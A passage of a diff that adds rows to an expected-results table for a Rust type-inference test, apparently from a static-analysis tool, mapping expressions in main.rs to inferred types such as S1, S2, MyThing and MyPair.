+| main.rs:355:17:355:17 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:355:17:355:17 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:355:17:355:23 | b.snd() | | main.rs:183:5:184:14 | S2 | +| main.rs:356:18:356:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:356:26:356:26 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:360:13:360:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:360:17:360:39 | call_trait_m1(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:360:31:360:38 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:360:31:360:38 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:361:18:361:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:361:26:361:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:362:13:362:13 | y | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:13:362:13 | y | A | main.rs:183:5:184:14 | S2 | +| main.rs:362:17:362:39 | call_trait_m1(...) | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:17:362:39 | call_trait_m1(...) | A | main.rs:183:5:184:14 | S2 | +| main.rs:362:31:362:38 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:362:31:362:38 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:363:18:363:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:363:26:363:26 | y | | main.rs:170:5:173:5 | MyThing | +| main.rs:363:26:363:26 | y | A | main.rs:183:5:184:14 | S2 | +| main.rs:363:26:363:28 | y.a | | main.rs:183:5:184:14 | S2 | +| main.rs:366:13:366:13 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:366:13:366:13 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:366:13:366:13 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:366:17:366:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:366:17:366:41 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:366:17:366:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:366:30:366:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:366:38:366:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:367:13:367:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:367:17:367:26 | get_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:367:25:367:25 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:367:25:367:25 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:367:25:367:25 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:368:18:368:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:368:26:368:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:369:13:369:13 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:369:17:369:26 | get_snd(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:369:25:369:25 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:369:25:369:25 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:369:25:369:25 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:370:18:370:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:370:26:370:26 | y | | main.rs:181:5:182:14 | S1 | +| main.rs:373:13:373:13 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:373:13:373:13 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:373:13:373:13 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:373:17:373:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:373:17:373:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:373:17:373:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:373:30:373:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:373:38:373:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:374:13:374:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:374:17:374:26 | get_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:374:25:374:25 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:374:25:374:25 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:374:25:374:25 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:375:18:375:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:375:26:375:26 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:376:13:376:13 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:376:17:376:26 | get_snd(...) | | main.rs:183:5:184:14 | S2 | +| main.rs:376:25:376:25 | b | | main.rs:175:5:179:5 | MyPair | +| main.rs:376:25:376:25 | b | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:376:25:376:25 | b | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:377:18:377:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:377:26:377:26 | y | | main.rs:183:5:184:14 | S2 | +| main.rs:379:13:379:13 | c | | main.rs:175:5:179:5 | MyPair | +| main.rs:379:13:379:13 | c | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:379:13:379:13 | c | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:379:13:379:13 | c | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:379:13:379:13 | c | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:379:17:382:9 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:379:17:382:9 | MyPair {...} | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:379:17:382:9 | MyPair {...} | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:379:17:382:9 | MyPair {...} | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:379:17:382:9 | MyPair {...} | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:380:17:380:18 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:381:17:381:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:381:17:381:41 | MyPair {...} | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:381:17:381:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:381:30:381:31 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:381:38:381:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:383:13:383:13 | x | | main.rs:181:5:182:14 | S1 | +| main.rs:383:17:383:30 | get_snd_fst(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:383:29:383:29 | c | | main.rs:175:5:179:5 | MyPair | +| main.rs:383:29:383:29 | c | P1 | main.rs:185:5:186:14 | S3 | +| main.rs:383:29:383:29 | c | P2 | main.rs:175:5:179:5 | MyPair | +| main.rs:383:29:383:29 | c | P2.P1 | main.rs:183:5:184:14 | S2 | +| main.rs:383:29:383:29 | c | P2.P2 | main.rs:181:5:182:14 | S1 | +| main.rs:385:13:385:17 | thing | | main.rs:170:5:173:5 | MyThing | +| main.rs:385:13:385:17 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:385:21:385:37 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:385:21:385:37 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:385:34:385:35 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:386:17:386:21 | thing | | main.rs:170:5:173:5 | MyThing | +| main.rs:386:17:386:21 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:387:13:387:13 | j | | main.rs:181:5:182:14 | S1 | +| main.rs:387:17:387:33 | convert_to(...) | | main.rs:181:5:182:14 | S1 | +| main.rs:387:28:387:32 | thing | | main.rs:170:5:173:5 | MyThing | +| main.rs:387:28:387:32 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:396:26:396:29 | SelfParam | | main.rs:395:5:399:5 | Self [trait OverlappingTrait] | +| main.rs:398:28:398:31 | SelfParam | | main.rs:395:5:399:5 | Self [trait OverlappingTrait] | +| main.rs:398:34:398:35 | s1 | | main.rs:392:5:393:14 | S1 | +| main.rs:403:26:403:29 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:403:38:405:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:404:20:404:31 | "not called" | | {EXTERNAL LOCATION} | str | +| main.rs:408:28:408:31 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:408:34:408:35 | s1 | | main.rs:392:5:393:14 | S1 | +| main.rs:408:48:410:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:409:20:409:31 | "not called" | | {EXTERNAL LOCATION} | str | +| main.rs:415:26:415:29 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:415:38:417:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:416:13:416:16 | self | | main.rs:392:5:393:14 | S1 | +| main.rs:420:28:420:31 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:420:40:422:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:421:13:421:16 | self | | main.rs:392:5:393:14 | S1 | +| main.rs:426:13:426:13 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:426:17:426:18 | S1 | | main.rs:392:5:393:14 | S1 | +| main.rs:427:18:427:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:427:26:427:26 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:427:26:427:42 | x.common_method() | | main.rs:392:5:393:14 | S1 | +| main.rs:428:18:428:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:428:26:428:26 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:428:26:428:44 | x.common_method_2() | | main.rs:392:5:393:14 | S1 | +| main.rs:445:19:445:22 | SelfParam | | main.rs:443:5:446:5 | Self [trait FirstTrait] | +| main.rs:450:19:450:22 | SelfParam | | main.rs:448:5:451:5 | Self [trait SecondTrait] | +| main.rs:453:64:453:64 | x | | main.rs:453:45:453:61 | T | +| main.rs:455:13:455:14 | s1 | | main.rs:453:35:453:42 | I | +| main.rs:455:18:455:18 | x | | main.rs:453:45:453:61 | T | +| main.rs:455:18:455:27 | x.method() | | main.rs:453:35:453:42 | I | +| main.rs:456:18:456:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:456:26:456:27 | s1 | | main.rs:453:35:453:42 | I | +| main.rs:459:65:459:65 | x | | main.rs:459:46:459:62 | T | +| main.rs:461:13:461:14 | s2 | | main.rs:459:36:459:43 | I | +| main.rs:461:18:461:18 | x | | main.rs:459:46:459:62 | T | +| main.rs:461:18:461:27 | x.method() | | main.rs:459:36:459:43 | I | +| main.rs:462:18:462:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:462:26:462:27 | s2 | | main.rs:459:36:459:43 | I | +| main.rs:465:49:465:49 | x | | main.rs:465:30:465:46 | T | +| main.rs:466:13:466:13 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:466:17:466:17 | x | | main.rs:465:30:465:46 | T | +| main.rs:466:17:466:26 | x.method() | | main.rs:435:5:436:14 | S1 | +| main.rs:467:18:467:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:467:26:467:26 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:470:53:470:53 | x | | main.rs:470:34:470:50 | T | +| main.rs:471:13:471:13 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:471:17:471:17 | x | | main.rs:470:34:470:50 | T | +| main.rs:471:17:471:26 | x.method() | | main.rs:435:5:436:14 | S1 | +| main.rs:472:18:472:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:472:26:472:26 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:476:16:476:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | +| main.rs:478:16:478:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | +| main.rs:481:58:481:58 | x | | main.rs:481:41:481:55 | T | +| main.rs:481:64:481:64 | y | | main.rs:481:41:481:55 | T | +| main.rs:483:13:483:14 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:483:18:483:18 | x | | main.rs:481:41:481:55 | T | +| main.rs:483:18:483:24 | x.fst() | | main.rs:435:5:436:14 | S1 | +| main.rs:484:13:484:14 | s2 | | main.rs:438:5:439:14 | S2 | +| main.rs:484:18:484:18 | y | | main.rs:481:41:481:55 | T | +| main.rs:484:18:484:24 | y.snd() | | main.rs:438:5:439:14 | S2 | +| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:485:32:485:33 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:485:36:485:37 | s2 | | main.rs:438:5:439:14 | S2 | +| main.rs:488:69:488:69 | x | | main.rs:488:52:488:66 | T | +| main.rs:488:75:488:75 | y | | main.rs:488:52:488:66 | T | +| main.rs:490:13:490:14 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:490:18:490:18 | x | | main.rs:488:52:488:66 | T | +| main.rs:490:18:490:24 | x.fst() | | main.rs:435:5:436:14 | S1 | +| main.rs:491:13:491:14 | s2 | | main.rs:488:41:488:49 | T2 | +| main.rs:491:18:491:18 | y | | main.rs:488:52:488:66 | T | +| main.rs:491:18:491:24 | y.snd() | | main.rs:488:41:488:49 | T2 | +| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:492:32:492:33 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:492:36:492:37 | s2 | | main.rs:488:41:488:49 | T2 | +| main.rs:508:15:508:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:510:15:510:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:513:9:515:9 | { ... } | | main.rs:507:19:507:19 | A | +| main.rs:514:13:514:16 | self | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:514:13:514:21 | self.m1() | | main.rs:507:19:507:19 | A | +| main.rs:519:43:519:43 | x | | main.rs:519:26:519:40 | T2 | +| main.rs:519:56:521:5 | { ... } | | main.rs:519:22:519:23 | T1 | +| main.rs:520:9:520:9 | x | | main.rs:519:26:519:40 | T2 | +| main.rs:520:9:520:14 | x.m1() | | main.rs:519:22:519:23 | T1 | +| main.rs:524:49:524:49 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:524:49:524:49 | x | T | main.rs:524:32:524:46 | T2 | +| main.rs:524:71:526:5 | { ... } | | main.rs:524:28:524:29 | T1 | +| main.rs:525:9:525:9 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:525:9:525:9 | x | T | main.rs:524:32:524:46 | T2 | +| main.rs:525:9:525:11 | x.a | | main.rs:524:32:524:46 | T2 | +| main.rs:525:9:525:16 | ... .m1() | | main.rs:524:28:524:29 | T1 | +| main.rs:529:15:529:18 | SelfParam | | main.rs:497:5:500:5 | MyThing | +| main.rs:529:15:529:18 | SelfParam | T | main.rs:528:10:528:10 | T | +| main.rs:529:26:531:9 | { ... } | | main.rs:528:10:528:10 | T | +| main.rs:530:13:530:16 | self | | main.rs:497:5:500:5 | MyThing | +| main.rs:530:13:530:16 | self | T | main.rs:528:10:528:10 | T | +| main.rs:530:13:530:18 | self.a | | main.rs:528:10:528:10 | T | +| main.rs:535:13:535:13 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:535:13:535:13 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:535:17:535:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:535:17:535:33 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:535:30:535:31 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:536:13:536:13 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:536:13:536:13 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:536:17:536:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:536:17:536:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:536:30:536:31 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:538:18:538:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:538:26:538:26 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:538:26:538:26 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:538:26:538:31 | x.m1() | | main.rs:502:5:503:14 | S1 | +| main.rs:539:18:539:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:539:26:539:26 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:539:26:539:26 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:539:26:539:31 | y.m1() | | main.rs:504:5:505:14 | S2 | +| main.rs:541:13:541:13 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:541:13:541:13 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:541:17:541:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:541:17:541:33 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:541:30:541:31 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:542:13:542:13 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:542:13:542:13 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:542:17:542:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:542:17:542:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:542:30:542:31 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:544:18:544:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:544:26:544:26 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:544:26:544:26 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:544:26:544:31 | x.m2() | | main.rs:502:5:503:14 | S1 | +| main.rs:545:18:545:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:545:26:545:26 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:545:26:545:26 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:545:26:545:31 | y.m2() | | main.rs:504:5:505:14 | S2 | +| main.rs:547:13:547:14 | x2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:547:13:547:14 | x2 | T | main.rs:502:5:503:14 | S1 | +| main.rs:547:18:547:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:547:18:547:34 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:547:31:547:32 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:548:13:548:14 | y2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:548:13:548:14 | y2 | T | main.rs:504:5:505:14 | S2 | +| main.rs:548:18:548:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:548:18:548:34 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:548:31:548:32 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:550:18:550:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:550:26:550:42 | call_trait_m1(...) | | main.rs:502:5:503:14 | S1 | +| main.rs:550:40:550:41 | x2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:550:40:550:41 | x2 | T | main.rs:502:5:503:14 | S1 | +| main.rs:551:18:551:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:551:26:551:42 | call_trait_m1(...) | | main.rs:504:5:505:14 | S2 | +| main.rs:551:40:551:41 | y2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:551:40:551:41 | y2 | T | main.rs:504:5:505:14 | S2 | +| main.rs:553:13:553:14 | x3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:553:13:553:14 | x3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:553:13:553:14 | x3 | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:553:18:555:9 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:553:18:555:9 | MyThing {...} | T | main.rs:497:5:500:5 | MyThing | +| main.rs:553:18:555:9 | MyThing {...} | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:554:16:554:32 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:554:16:554:32 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:554:29:554:30 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:556:13:556:14 | y3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:556:13:556:14 | y3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:556:13:556:14 | y3 | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:556:18:558:9 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:556:18:558:9 | MyThing {...} | T | main.rs:497:5:500:5 | MyThing | +| main.rs:556:18:558:9 | MyThing {...} | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:557:16:557:32 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:557:16:557:32 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:557:29:557:30 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:560:13:560:13 | a | | main.rs:502:5:503:14 | S1 | +| main.rs:560:17:560:39 | call_trait_thing_m1(...) | | main.rs:502:5:503:14 | S1 | +| main.rs:560:37:560:38 | x3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:560:37:560:38 | x3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:560:37:560:38 | x3 | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:561:18:561:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:561:26:561:26 | a | | main.rs:502:5:503:14 | S1 | +| main.rs:562:13:562:13 | b | | main.rs:504:5:505:14 | S2 | +| main.rs:562:17:562:39 | call_trait_thing_m1(...) | | main.rs:504:5:505:14 | S2 | +| main.rs:562:37:562:38 | y3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:562:37:562:38 | y3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:562:37:562:38 | y3 | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:563:18:563:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:563:26:563:26 | b | | main.rs:504:5:505:14 | S2 | +| main.rs:574:19:574:22 | SelfParam | | main.rs:568:5:571:5 | Wrapper | +| main.rs:574:19:574:22 | SelfParam | A | main.rs:573:10:573:10 | A | +| main.rs:574:30:576:9 | { ... } | | main.rs:573:10:573:10 | A | +| main.rs:575:13:575:16 | self | | main.rs:568:5:571:5 | Wrapper | +| main.rs:575:13:575:16 | self | A | main.rs:573:10:573:10 | A | +| main.rs:575:13:575:22 | self.field | | main.rs:573:10:573:10 | A | +| main.rs:583:15:583:18 | SelfParam | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:585:15:585:18 | SelfParam | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:589:9:592:9 | { ... } | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:590:13:590:16 | self | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:590:13:590:21 | self.m1() | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:591:13:591:43 | ...::default(...) | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:599:19:599:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:599:19:599:23 | SelfParam | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:599:26:599:26 | a | | main.rs:599:16:599:16 | A | +| main.rs:601:22:601:26 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:601:22:601:26 | SelfParam | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:601:29:601:29 | a | | main.rs:601:19:601:19 | A | +| main.rs:601:35:601:35 | b | | main.rs:601:19:601:19 | A | +| main.rs:601:75:604:9 | { ... } | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:602:13:602:16 | self | | file://:0:0:0:0 | & | +| main.rs:602:13:602:16 | self | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:602:13:602:23 | self.put(...) | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:602:22:602:22 | a | | main.rs:601:19:601:19 | A | +| main.rs:603:13:603:16 | self | | file://:0:0:0:0 | & | +| main.rs:603:13:603:16 | self | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:603:13:603:23 | self.put(...) | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:603:22:603:22 | b | | main.rs:601:19:601:19 | A | +| main.rs:612:21:612:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:612:21:612:25 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:614:20:614:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:614:20:614:24 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:616:20:616:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:616:20:616:24 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:632:15:632:18 | SelfParam | | main.rs:619:5:620:13 | S | +| main.rs:632:45:634:9 | { ... } | | main.rs:625:5:626:14 | AT | +| main.rs:633:13:633:14 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:642:19:642:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:642:19:642:23 | SelfParam | &T | main.rs:619:5:620:13 | S | +| main.rs:642:26:642:26 | a | | main.rs:642:16:642:16 | A | +| main.rs:642:46:644:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:642:46:644:9 | { ... } | A | main.rs:642:16:642:16 | A | +| main.rs:643:13:643:32 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:643:13:643:32 | Wrapper {...} | A | main.rs:642:16:642:16 | A | +| main.rs:643:30:643:30 | a | | main.rs:642:16:642:16 | A | +| main.rs:651:15:651:18 | SelfParam | | main.rs:622:5:623:14 | S2 | +| main.rs:651:45:653:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:651:45:653:9 | { ... } | A | main.rs:622:5:623:14 | S2 | +| main.rs:652:13:652:35 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:652:13:652:35 | Wrapper {...} | A | main.rs:622:5:623:14 | S2 | +| main.rs:652:30:652:33 | self | | main.rs:622:5:623:14 | S2 | +| main.rs:658:30:660:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:658:30:660:9 | { ... } | A | main.rs:622:5:623:14 | S2 | +| main.rs:659:13:659:33 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:659:13:659:33 | Wrapper {...} | A | main.rs:622:5:623:14 | S2 | +| main.rs:659:30:659:31 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:664:22:664:26 | thing | | main.rs:664:10:664:19 | T | +| main.rs:665:9:665:13 | thing | | main.rs:664:10:664:19 | T | +| main.rs:672:21:672:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:672:21:672:25 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:672:34:674:9 | { ... } | | main.rs:625:5:626:14 | AT | +| main.rs:673:13:673:14 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:676:20:676:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:676:20:676:24 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:676:43:678:9 | { ... } | | main.rs:619:5:620:13 | S | +| main.rs:677:13:677:13 | S | | main.rs:619:5:620:13 | S | +| main.rs:680:20:680:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:680:20:680:24 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:680:43:682:9 | { ... } | | main.rs:622:5:623:14 | S2 | +| main.rs:681:13:681:14 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:686:13:686:14 | x1 | | main.rs:619:5:620:13 | S | +| main.rs:686:18:686:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:688:18:688:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:688:26:688:27 | x1 | | main.rs:619:5:620:13 | S | +| main.rs:688:26:688:32 | x1.m1() | | main.rs:625:5:626:14 | AT | +| main.rs:690:13:690:14 | x2 | | main.rs:619:5:620:13 | S | +| main.rs:690:18:690:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:692:13:692:13 | y | | main.rs:625:5:626:14 | AT | +| main.rs:692:17:692:18 | x2 | | main.rs:619:5:620:13 | S | +| main.rs:692:17:692:23 | x2.m2() | | main.rs:625:5:626:14 | AT | +| main.rs:693:18:693:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:693:26:693:26 | y | | main.rs:625:5:626:14 | AT | +| main.rs:695:13:695:14 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:695:18:695:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:697:18:697:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:697:26:697:27 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:697:26:697:34 | x3.put(...) | | main.rs:568:5:571:5 | 